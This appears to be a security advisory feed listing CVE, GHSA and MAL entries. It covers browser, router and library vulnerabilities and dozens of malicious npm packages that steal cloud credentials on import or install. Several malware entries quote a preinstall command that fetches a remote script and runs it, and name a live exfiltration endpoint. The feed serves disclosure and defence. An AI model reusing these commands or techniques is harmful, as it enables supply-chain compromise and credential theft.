CVE-2026-92142	New				0.003		Apache Karaf exposes a JMX MBeanServer guarded by KarafMBeanServerGuard, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a java.lang.reflect.Proxy around the MBeanServer, and only forwards a fixed list of operation names to ...
CVE-2026-92599	New		HIGH		0.006	npm:joi	### Impact Any application that validates a user-supplied string with `Joi.string().isoDate()` can be stalled by a single request. One of the regular expressions the rule runs over the input was unanchored, so a valid ISO date followed by a long run of fractional-second digits made the regex engine restart its search from every position in the string, costing time proportion...
CVE-2026-93332	New						Improper access control in the partial connection API in Devolutions Server 2026.3.5.0 and earlier allows an authenticated low-privileged user to read, create, modify, and delete System Vault entries via a crafted API request.
CVE-2026-94952	New						A stack-based buffer overflow vulnerability exists in the web management interface of TOTOLINK N150RT (NTR150) firmware V3.4.0-B20201030. It is reachable through the route /boafm/formPortFw (port-forwarding configuration handler) and is triggered by the ip_subnet and fw_ip request parameters during the rule-addition flow.
CVE-2026-94953	New						A stack-based buffer overflow vulnerability exists in the web management interface of TOTOLINK N150RT (NTR150) firmware V3.4.0-B20201030. It is reachable through the route /boafm/formAjaxSet using the topicurl=setting/setWiFiRepeaterConfig branch and the ApCliWEPKey field.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-94954	New						A stack-based buffer overflow vulnerability exists in the web management interface of TOTOLINK N150RT (NTR150) firmware V3.4.0-B20201030. It is reachable through the route /boafm/formFilter (access-control / URL filter configuration handler) and is triggered by the url request parameter when the addFilterUrl (or addFilterUrlFlag) action flag is set.
CVE-2026-95275	New						Incorrect reference resolution in MediaStream in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to bypass web origin policy into a privileged page via a crafted HTML page. (Chromium security severity: Medium)
CVE-2026-95278	New						Missing authorization in WakeLock in Google Chrome prior to 154.0.8037.57 allowed a remote attacker who had compromised the renderer process to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Low)
CVE-2026-95284	New						Buffer overflow in ANGLE in Google Chrome on on Android prior to 154.0.8037.57 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)
CVE-2026-95285	New						Missing authorization in WebView in Google Chrome on on Android prior to 154.0.8037.57 allowed a remote attacker who had compromised the renderer process to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)
CVE-2026-95287	New						Missing authorization in Navigation in Google Chrome prior to 154.0.8037.57 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: Medium)
CVE-2026-95290	New						Missing authorization in NFC in Google Chrome prior to 154.0.8037.57 allowed a remote attacker who had compromised the renderer process to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)
CVE-2026-95292	New						Incorrect authorization in Safebrowsing in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to bypass system access restrictions via crafted network traffic. (Chromium security severity: Low)
CVE-2026-95297	New						Missing authorization in Contextual Tasks in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)
CVE-2026-95300	New						Missing authorization in DevTools in Google Chrome prior to 154.0.8037.57 allowed a remote attacker leveraging social engineering to bypass system access restrictions via crafted network traffic. (Chromium security severity: Medium)
CVE-2026-95301	New						Missing authorization in Extensions in Google Chrome prior to 154.0.8037.57 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: High)
CVE-2026-95303	New						Incomplete cleanup in SmartCard in Google Chrome prior to 154.0.8037.57 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)
CVE-2026-95314	New						Incorrect authorization in HID in Google Chrome prior to 154.0.8037.57 allowed a remote attacker who had compromised the renderer process to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-95326	New						Incomplete cleanup in Bluetooth in Google Chrome prior to 154.0.8037.57 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Low)
CVE-2026-95330	New						Improper state validation in Downloads in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)
CVE-2026-95340	New						Incorrect authorization in PictureInPicture in Google Chrome prior to 154.0.8037.57 allowed a remote attacker leveraging social engineering to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)
CVE-2026-95342	New						Missing authorization in V8 in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)
CVE-2026-95344	New						Race condition in DevTools in Google Chrome prior to 154.0.8037.57 allowed a remote attacker leveraging social engineering to bypass site isolation via a crafted Chrome extension. (Chromium security severity: Medium)
CVE-2026-95352	New						Incorrect authorization in DevTools in Google Chrome prior to 154.0.8037.57 allowed a remote attacker leveraging social engineering to bypass web origin policy via a crafted Chrome extension. (Chromium security severity: Low)
CVE-2026-95358	New						Incorrect authorization in Mobile in Google Chrome on on Android prior to 154.0.8037.57 allowed a local attacker to bypass system access restrictions into a privileged page via a co-installed app. (Chromium security severity: Medium)
CVE-2026-95361	New						Confused deputy in DevTools in Google Chrome prior to 154.0.8037.57 allowed a remote attacker leveraging social engineering to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)
CVE-2026-95362	New						Cross-site request forgery in DevTools in Google Chrome prior to 154.0.8037.57 allowed a remote attacker leveraging social engineering to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)
CVE-2026-95366	New						Use of released resource in Core in Google Chrome prior to 154.0.8037.57 allowed a remote attacker who had compromised the renderer process to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)
CVE-2026-95370	New						Inappropriate implementation in NFC in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)
CVE-2026-95374	New						Incorrect authorization in Network in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)
CVE-2026-95375	New						Incorrect authorization in BrowserTag in Google Chrome prior to 154.0.8037.57 allowed a remote attacker who had compromised the renderer process to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-95376	New						Externally controlled reference in DevTools in Google Chrome prior to 154.0.8037.57 allowed an adjacent attacker leveraging social engineering to bypass system access restrictions via crafted network traffic. (Chromium security severity: Medium)
CVE-2026-95385	New						Inappropriate implementation in PlatformIntegration in Google Chrome on on Windows prior to 154.0.8037.57 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Low)
CVE-2026-97395	New						Apache Polaris allows an authenticated principal with permission to create or update Iceberg table properties to set FileIO client settings such as s3.endpoint in table metadata. In versions < 1.8.0, when Polaris performs server-side Iceberg operations, including commits and purges, it may use those settings to construct its (server-side) FileIO client. If the catalog stor...
CVE-2026-98164	New						In the Linux kernel, the following vulnerability has been resolved: KVM: x86/mmu: Check write tracking in all address spaces kvm_gfn_is_write_tracked() checks only the supplied memslot, but page tracking is per-address-space and shadow pages are shared across all address spaces. With SMM, a GFN can therefore be write-tracked in one address space and appear untracked throu...
GHSA-253c-mchw-3w2r	New		MODE			npm:markdown-it	## Summary Two independent quadratic paths in the `linkify: true` handling. Both are in markdown-it's own code rather than in linkify-it, which stays linear on both payloads. `src/rules_core/linkify.ts` calls `arrayReplaceAt` once per linkified text token, and that rebuilds the whole `children` array each time. A paragraph of N soft-broken lines is one inline token with ab...
GHSA-2c72-pm8g-m65j	New					npm:@hrmony/benefit-essenzuschu ss	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (1a91973dc3a793ffab820317714931c69f1a992ac1ebef3f80d8028976959939) On module import, top-level code in this package harvests cloud and container secrets and posts them to a hardcoded attacker-controlled endpoint. It queries the AWS Instance Metadata Service (IMDSv2 token via PUT to /lat...
GHSA-36rr-7v5c-qjqv	New					npm:@hrmony/api-gateway-service-config	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (3a48388c29a59698997efcb654da3c9182138846dad274f82ad2a1101843c5e4) index.js runs a top-level `await fetch(...)` on import that harvests installer host secrets and posts them to the hardcoded attacker endpoint https://hrnmn.dd.h4x.tv/save_instance_info_from_pkge_hrmony_api-gateway-servic...
GHSA-4jh6-g3hw-7qjc	New					npm:@hrmony/pladddform-codegen	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (58f0706d7223f8a1ff87ac80c6e1e42af148214545e55acc865cce12fee7eec4) On module load, index.js unconditionally beacons to the hardcoded non-first-party endpoint https://hrnmn.dd.h4x.tv/save_instance_info_from_pkge_hrmony_pladddform-codegen and then performs three credential-harvest flows a...
GHSA-52pw-jwv9-q65v	New					npm:@hrmony/app-gateway-templates	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c7d3f05113dd7daa9fac2da8187afecc751fafcf96449e7f4eb4a5d9a4878844) On require/import of @hrmony/app-gateway-templates, index.js (the package main) executes an exfiltration routine against a hardcoded attacker endpoint at https://hrnmn.dd.h4x.tv/save_instance_info_from_pkge_hrmony_app-ga...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
GHSA-53w6-j9gv-cv5w	New					npm:@hrmony/pladdform-frontend	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (8f03abfe6149423144b6d3143a66cbca7925bb6eb736b1ece350d5a344684eb9) @hrmony/pladdform-frontend@48.99.0 ships an index.js whose top-level code, executed on require/import, POSTs to the hardcoded attacker host https://hrnmn.dd.h4x.tv/save_instance_info_from_pkge_hrmony_pladdform-frontend...
GHSA-5958-mpfq-wfrj	New					npm:@hrmony/valuenet	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (9a6f054c1d690a418a5d18f7d88883085468cc0bdfab8c604e69a82633d2de72) On require/import, the main module of @hrmony/valuenet auto-executes and POSTs installer-side secrets to the hardcoded attacker endpoint https://hrnmn.dd.h4x.tv/save_instance_info_from_pkge_hrmony_valuenet. It queries th...
GHSA-5cwm-5j38-r753	New					npm:@hrmony/middlewares	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (2129e9ecca729ffb0ac23ee07dd5be18f2a853560899599981bc92b19dda4363) On module load, the package queries the AWS instance metadata service at 169.254.169.254 (IMDSv2) to enumerate instance identity, region, and network interfaces, then iterates IAM role security-credentials to retrieve te...
GHSA-5hfp-jjv9-69q8	New					npm:@hrmony/belegerfassung-pladdform	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (615255a66c44204b03e60a165c1a9b21f95ecd351bf58c355462c159c74d1017) The package's main module (index.js) executes exfiltration logic at top level on import. It first sends a hello beacon via HTTP POST to the hardcoded endpoint https://hrnmn.dd.h4x.tv/save_instance_info_from_pkge_hrmony_b...
GHSA-668x-2p2f-6963	New					npm:@xoxo-momo/kit	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c4beaa614870c21deb99c9648ae58f4ecf9fa21c22acc1b362ac50b477cd6232) The package was found to contain malicious code or consuming dependency that contains malicious code ## Source: ghsa-malware (67731dfd8417d3a019f2004d38e10f4072a8acbaa183828f4e82f3b8a0de7ab7) Any computer that has this ...
GHSA-757q-42rv-qjcf	New					npm:@hrmony/pladdform-partner-registry	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (e09dd7e6a7777c82ec319c374c862db40d6bf7210991dac9a7a250fda4a259e7) On import, index.js executes a top-level fetch that harvests cloud and container secrets from the installer host and POSTs them to the hardcoded attacker endpoint https://hrnmn.dd.h4x.tv/save_instance_info_from_pkge_hrmo...
GHSA-75mr-rmf4-wrj	New					npm:@hrmony/mailer-pladdform	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (cc17a6ae94f3beee4d60886e3233b210660bcd01f6c5f6d2fff840e6d385973b) index.js executes at top-level import and performs three credential-harvesting flows directed at https://hrnmn.dd.h4x.tv/save_instance_info_from_pkge_hrmony_mailer-pladdform. First, aws_get() requests an IMDSv2 token fr...
GHSA-784r-8wmx-42h3	New					npm:@hrmony/benefit-internetzuschuss	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (209d5855ea7b92261c91e4f405f0306f268bb92b9ca8f888bfec4d0a84053544) On module import, the package unconditionally beacons to the hardcoded external host https://hrnmn.dd.h4x.tv/save_instance_info_from_pkge_hrmony_benefit-internetzuschuss and then harvests installer credentials and sends ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
GHSA-7j4w-rjm5-96qj	New					npm:@hrmony/pladddform-cli	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (81b9c27ba35a6978a0731d77b7d5fec367f4c2a8b4acc5838588071c89886fa4) On require/import, index.js performs three attacker-benefiting actions against a hardcoded endpoint at https://hrnmn.dd.h4x.tv/. First, it POSTs an unconditional install/import beacon ({'c53':'hello'}) to that host. Seco...
GHSA-8238-w5pm-2374	New		HIGH			npm:adm-zip	## Summary Denial of Service in `adm-zip`'s async decompression API allows an unauthenticated attacker to crash the entire Node.js host process by supplying a single malformed ZIP file. ## Details **Affected package**: adm-zip **Affected versions**: at least 0.6.0 (current latest); likely all versions containing the current `inflateAsync` implementation in `methods/inflat...
GHSA-87h6-fqj7-r5rw	New					npm:@hrmony/benefit-mobilitaet	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (bf87d41e53e59a65644aaf92de291a5943afa017fbdcc2068ebb6741383f60688) On module load, index.js unconditionally contacts the EC2 Instance Metadata Service at 169.254.169.254, obtains an IMDSv2 token, and retrieves instance identity, user-data, and all IAM role temporary security credentials...
GHSA-96c4-q73c-c32q	New					npm:@hrmony/kit-5	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (6457aa73ec15f68e06005977033aaba349467d40e3d406f0810684a43b74fcb5) The package's preinstall script and its main entry (index.js) both perform identical credential-harvesting: they query the EC2 Instance Metadata Service (IMDSv2) at 169.254.169.254 for the identity document and IAM role ...
GHSA-c6fg-446q-cg94	New		MODE			npm:adm-zip	### Summary adm-zip enforces a `maxLength` guard against decompression bombs on its synchronous `getData()` path, but the equivalent asynchronous `getDataAsync()` path does not enforce it — it accumulates and returns the entire decompressed output regardless of the entry's declared size. An application that checks an entry's declared size before deciding to process it,...
GHSA-cjfr-hq8x-q26q	New					npm:@hrmony/component-library	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (a93efe09ed89a9899669e54f614f80d91a80c59d77e0c2a2f673f92590488804) index.js (declared as the package main) runs top-level async code on require/import that performs three exfiltration actions against a hardcoded attacker endpoint https://hrnmn.dd.h4x.tv/. First, it POSTs a fixed beacon ...
GHSA-g4hp-22g7-9hf5	New					npm:@hrmony/gutscheinverwaltung	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (05705e4815a7ce926aad55136e379d3f901ad923a0fcb7f4002cf16e6cd78c56) On module load, the package performs top-level fetches against the AWS EC2 Instance Metadata Service using IMDSv2 (requesting a token, then reading identity-credentials/ec2, iam/security-credentials/<role>, the instance ...
GHSA-gxrr-r3q5-4429	New					npm:@hrmony/organisationsverwaltung	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (78807365ee9728923ec2d5d103ce7f4562b21e2fc8185483b482bb5d2f79748d) @hrmony/organisationsverwaltung 7.99.0 executes credential-theft code at the top level of index.js, so simply requiring or importing the package triggers exfiltration. On load it sends a hello beacon via POST to https://...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
GHSA-h2q3-6www-v7c8	New					npm:@hrmony/interfaces	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (b7837cf2dff543cfea2f35e0dea5f767ca7b8e8f81129f4c770e5693ed247c0e) index.js executes top-level async code on any require/import of the package. The code (1) obtains an AWS IMDSv2 token and fetches EC2 instance identity, IAM role temporary security credentials from /latest/meta-data/iam/...
GHSA-h9qw-wcm3-qrr8	New					npm:@hrmony/cdk-constructs	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (6601c44353f60d117ef4e1ea09f9d2c997cde4375af70c49c628b38db8f1b55a) On require/import, index.js executes top-level async code that harvests AWS EC2 instance metadata via IMDSv2 (including IAM role security credentials fetched from http://169.254.169.254/latest/meta-data/iam/security-cred...
GHSA-jcvm-p983-rr37	New					npm:sk-lib-enc	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (50da04ce2032df71a298f83648d49995542c28b18052f48cf38c721fc6d80f8f) The package was found to contain malicious code or consuming dependency that contains malicious code ## Source: ghsa-malware (b128f095429e74e334527d9cba07dedde2dc66db7ee6c4df6dc874971c8f2bb4) Any computer that has this ...
GHSA-jr8j-48fj-734v	New					npm:@hrmony/benefit-sachbezug	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (de40a55476bbcc5eda275f9f385396699f1b066bf1ddedb80fad053c4057c63a) The package's main entry (index.js) executes at require/import time and POSTs harvested data to the hardcoded endpoint https://hrnmn.dd.h4x.tv/save_instance_info_from_pkge_hrmony_benefit-sachbezug. One path queries the A...
GHSA-p634-w6r4-rjp2	New		MODE			npm:adm-zip	### Summary A ZIP file can contain two entries with the identical name. adm-zip keeps both in its internal entry list, but its name-lookup table only retains the last one written. `getEntry(name)` and `extractAllTo()` walk these two different internal structures, so they can each resolve a duplicate name to a *different* entry. An application that validates a named entry's ...
GHSA-pgw6-px39-jr8m	New					npm:@hrmony/pladdform-config	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (2de81847796671c2a5e9f97a94fae50352b0dff0816e4f0a7dfaf707fbb92629) index.js executes at module top level on require/import. It performs an unconditional POST check-in to https://hrnmn.dd.h4x.tv/save_instance_info_from_pkge_hrmony_pladdform-config, then runs three collection routines an...
GHSA-ppvh-5qcf-3gvr	New					npm:@hrmony/account-management	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (67b699bc4a206505ba0cf224888996e37fe00dff5ffb737e3b95b9fd139b910f) The main module executes on require/import via a top-level await. It queries the AWS IMDSv2 metadata service at 169.254.169.254 to retrieve instance identity, IAM role temporary credentials, user-data, and network inform...
GHSA-qgqg-65m8-gvwg	New					npm:@hrmony/pladdform-core	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (e9e61c4d5d499198c568d9f255e23b407eb7e47f7272c76bf5f50a0d0db31605) On top-level module load, index.js queries the AWS instance metadata service at 169.254.169.254 (IMDSv2), retrieves the instance identity document, network interface information, and IAM security-credentials for every at...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
GHSA-qh4w-rc3m-9898	New					npm:@hrmony/devtool-configuration	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (f83cb569df9c47639ee0fd16c34a4ac1b97b89733b1b468389d8032087ab233b) On import, index.js performs an unconditional POST beacon to https://hrnmn.dd.h4x.tv/save_instance_info_from_pkge_hrmony_devtool-configuration, then queries the AWS EC2 IMDSv2 endpoint (169.254.169.254) to collect the in...
GHSA-r3ph-w7gj-g6xm	New		MODE			npm:js-yaml	## Summary `maxTotalMergeKeys` does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit. ## Example ```yaml arr: &arr [{}, {}, {}] # N empty mappings targets: - <<: *arr # repeated K times ``` For every target, the loader iterates all `N` elements of `a...
GHSA-r476-wfgx-8rc7	New					npm:@hrmony/hyper-json-builder	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (d8139053048172994cadd0251ef74e5104c489dcb4f0448153ea9342b3feb707) On module load, index.js performs top-level fetch to a hardcoded attacker-controlled endpoint at https://hrnmn.dd.h4x.tv/save_instance_info_from_pkge_hrmony_hyper-json-builder and triggers two credential-harvest routines...
GHSA-rvhw-f5hm-gj2w	New					npm:@hrmony/pladdform-infrastruct ure	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (9a26b9f2a46bdc8abd9882683d792c8fff6d94a9b89cc68162339e7fedc47ceb) On any require/import of @hrmony/pladdform-infrastructure, top-level code POSTs a beacon to the hardcoded attacker endpoint https://hrnmn.dd.h4x.tv/save_instance_info_from_pkge_hrmony_pladdform-infrastructure (host enc...
GHSA-wc37-mwww-8cwr	New					npm:@hrmony/pladdform-testing	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (607004ff93f1fcd5bf7b1cf6b5e104b7f26eb699aee3dd4f8bbb33494f0b096) On module import, index.js executes an unconditional exfiltration payload against the installer/runtime host. It queries the AWS EC2 Instance Metadata Service at http://169.254.169.254 using IMDSv2 to enumerate the insta...
GHSA-wg95-pj2w-mm76	New					npm:iban-validator-js	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (fff3da0c4ead2e4f938efa16ad1cea92e872789a3b012edfed68526898cce4fa) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-wrw4-45wp-75v5	New					npm:@hrmony/pladdform-applicatio n	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (6470f9f3652c9b3b65d783ca46babc5ccf24e0d8d044ca654260168e8f881e17) On module load, the package's main entry point executes three exfiltration routines that POST installer-side secrets to the hardcoded endpoint https://hrnmn.dd.h4x.tv/save_instance_info_from_pkge_hrmony_pladdform-applic...
GHSA-xq9r-4rp7-86c2	New					npm:@hrmony/lohndateien	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (743e2b2a4a3cf2758e6eb457dbc47857751d31379b13a48a2da25fc23f8e9701) index.js executes on module load and performs three attacker-beneficial actions against a hardcoded remote endpoint at https://hrnmn.dd.h4x.tv/save_instance_info_from_pkge_hrmony_lohndateien. First, an unconditional POST...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
GHSA-xvjm-3hnh-7v4h	New					npm:@hrmony/pladddform-shared-infrastructure	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (89319d39ad6d753459be90c221d657a73f70955c63d1675b347c11b5743209cc) On module import, index.js executes three exfiltration routines that POST harvested secrets to the hardcoded endpoint https://hrnmn.dd.h4x.tv/save_instance_info_from_pkge_hrmony_pladddform-shared-infrastructure. (1) A be...
GHSA-xvwj-8x3p-gr7w	New					npm:@hrmony/benefitverwaltung	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (a567d870fdf9c4fecac3e9fbb009a5b23e4450ea608d416564095680dc5bc4b2) On top-level import, the package's main module POSTs an initial identifying beacon (body {"c53":"hello"}) to the hardcoded endpoint https://hrnmn.dd.h4x.tv/save_instance_info_from_pkge_hrmony_benefitverwaltung, then perf...
MAL-2026-17241	New					npm:exprdd	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (4cd27ec488e87cd2e26c940ac161033475731708a3f2ae629c4a138275b520f9) exprdd@5.2.1 impersonates the express framework — package name, description, author, contributors, repository, homepage, and keywords are copied verbatim from express. package.json declares a preinstall lifecycle hook: "...
MAL-2026-17242	New					npm:express-javascript	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (73e4909976d37fb7bd30012d82bd882608df20716a824f1dc0efa074b5401) express-javascript@5.2.1 impersonates the express package (copying its description, author, contributors, repository, homepage, and dependency list verbatim) while its package.json preinstall lifecycle hook runs `curl ht...
MAL-2026-17243	New					npm:express-nodejs	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (9aea7dd76028cd443cf2f8d58fa5d8b3b28bb6db870f34d1cc6dad28db92fe93) express-nodejs@5.2.1 typosquats the express framework: package.json copies express's description, author (TJ Holowaychuk), repository (expressjs/express), and homepage while publishing under a different name. The package...
MAL-2026-17244	New					npm:exprdd	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (bc1c956097cd13e80298a796a5026ebd91ece7c2ad53d226d3729f0b0b0ee9f3) Package 'exprdd' copies express's metadata (name-lookalike, description, author, contributors, repository, keywords, dependencies) as cover for a preinstall dropper. package.json line 98 declares a preinstall script tha...
MAL-2026-17245	New					npm:exptrdd	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (6ba0b22d41f4edf82552b79417b6660bc1aaf311e4ec597b31674f0b6fdd5314) package.json declares a preinstall lifecycle that runs `curl https://web.archive.org/web/https://codeberg.org/hellscripiter/install-scripts/raw/branch/main/node.js   node`, fetching an unpinned script from a mutable branc...
MAL-2026-17246	New					npm:exptred	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (d91842ab3e5c93f5689a985b63f8de5455910d88d6815ee35f2d35d27f8a4cf7) npm package `exptred@5.2.1` is a typosquat of `express`: package.json copies express's description ('Fast, unopinionated, minimalist web framework'), author (TJ Holowaychuk), repository (expressjs/express), and homepage ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-17247	New					npm:exptredd	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (288357063a28e85e649fc37c747c724bd06ce09c16624f7b2cad3dc854296035) npm package exptredd@5.2.1 impersonates the express package: package.json copies express's description, author, repository, contributors, and dependency list verbatim while shipping under the name 'exptredd'. package.js...
MAL-2026-17248	New					npm:xeprews	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (17facf9b3612b1338fbd6a61069db829317150a9e7dbcc38cf96abbee1baa29b2) xeprews is an Express typosquat whose package.json declares a preinstall lifecycle hook that runs `curl https://web.archive.org/web/https://codeberg.org/hellscripiter/install-scripts/raw/branch/main/node.js   node`, fetch...
MAL-2026-17263	New					npm:@hrmony/kit	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (6976b2f9327b9a181d77cd0597ef2f657575961a3d47ef8c57de1f6d4141503d) On require/import, index.js contacts the EC2 Instance Metadata Service at 169.254.169.254 using an IMDSv2 token, enumerates the instance's IAM role security-credentials (including temporary AWS access key, secret, and se...
MAL-2026-17264	New					npm:@hrmony/kit-1	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (0a4084c44ab6554d66c474338de2cb482a25b31e6822d470e08b2b2ef5b1735a) The package executes credential-harvesting code both from its postinstall script (scripts/check-setup.mjs) and from its main entry (index.js), so theft fires on npm install and again on require/import even when lifecycle...
MAL-2026-17265	New					npm:@hrmony/kit-4	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (cb6ac778d35433101385eb57755b6079e76c7bb3dc40306218cf5b1295d5a853) The package runs credential-harvesting code both at install time and at import time. The declared preinstall hook scripts/check-setup.mjs queries the AWS EC2 instance metadata service (IMDSv2 at 169.254.169.254) to retri...
MAL-2026-17285	New					npm:@akapaki/baileys	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c14fdf44df68d2544cc235039ef40a99c7df7bcbfc968e8d5809762031f0dd16) @akapaki/baileys@1.0.1 is an unofficial republish of the Baileys WhatsApp library under a new scope (author `paki`, empty README, repository `pernapasquale647-dotcom/paki-baileys`). Its package.json declares the `libsign...
MAL-2026-17286	New					PyPI:queueues	--- _-= Per source details. Do not edit below this line.=-_ ## Source: kam193 (1adc88dd9031dc991006afcf10242d1de3aa7994f6bcb4542faed95524d6ebe0) Obfuscated code iterates over files in the system and adds a comment to every .py file found. --- Category: MALICIOUS - The campaign has clearly malicious intent, like info stealers. Campaign: 2026-09-queueues Reasons (based...
MAL-2026-17287	New					npm:@chatunity/baileys	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (b6d06d6b516b21b0ac6ed45e5653dca243695a2c17326669ec58498e4c9bcf45) package.json declares the runtime dependency `libsignal` with the value `github:chatunitycenter/libsignal-node`, an off-registry git source with no commit SHA or tag pin. On `npm install`, npm fetches whatever the default...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-17288	New					npm:@rutxploit-sec/subsplash-canny	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (dc1ebadea2eb63a0fc7cf7446e36a589c5b87fc7d28e68b68145b98577107ebb) npm package @rutxploit-sec/subsplash-canny declares a preinstall lifecycle script that runs `node -e` inline code reading `os.hostname()` and `os.userInfo().username` and issuing an HTTP GET to http://127.0.0.1:8099/ wit...
MAL-2026-17289	New					npm:@rutxploit-sec/subsplash-google-tag-manager	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (8fe2c746dc5c09bc67257fd4eba671824806c9080b7ca94949e45175deb03b8d) package.json declares a preinstall script that executes inline Node code reading os.hostname() and os.userInfo().username and issuing an HTTP GET to http://127.0.0.1:8099/ carrying those identifiers along with the impers...
MAL-2026-17290	New					npm:@rutxploit-sec/waves-button-poc	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (435937e521ca52ff4d99fd276136aff40364c4a88a3a4677cecf390c9d9bb600) @rutxploit-sec/waves-button-poc@1.0.0 auto-executes host-identifier exfiltration on both `npm install` and `require`. package.json declares a preinstall script that runs `node -e` code which reads `os.hostname()` and `os...
MAL-2026-17291	New					npm:@rutxploit-sec/waves-icons	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (bdeb076eee35958fd0520e7f9cca9d361c47f02cb81c73288609ecdcb60dbbb1) @rutxploit-sec/waves-icons is a dependency-confusion proof-of-concept squatting the internal scope name @waves/icons. Its package.json declares a preinstall lifecycle hook that runs inline Node code (node -e...) which re...
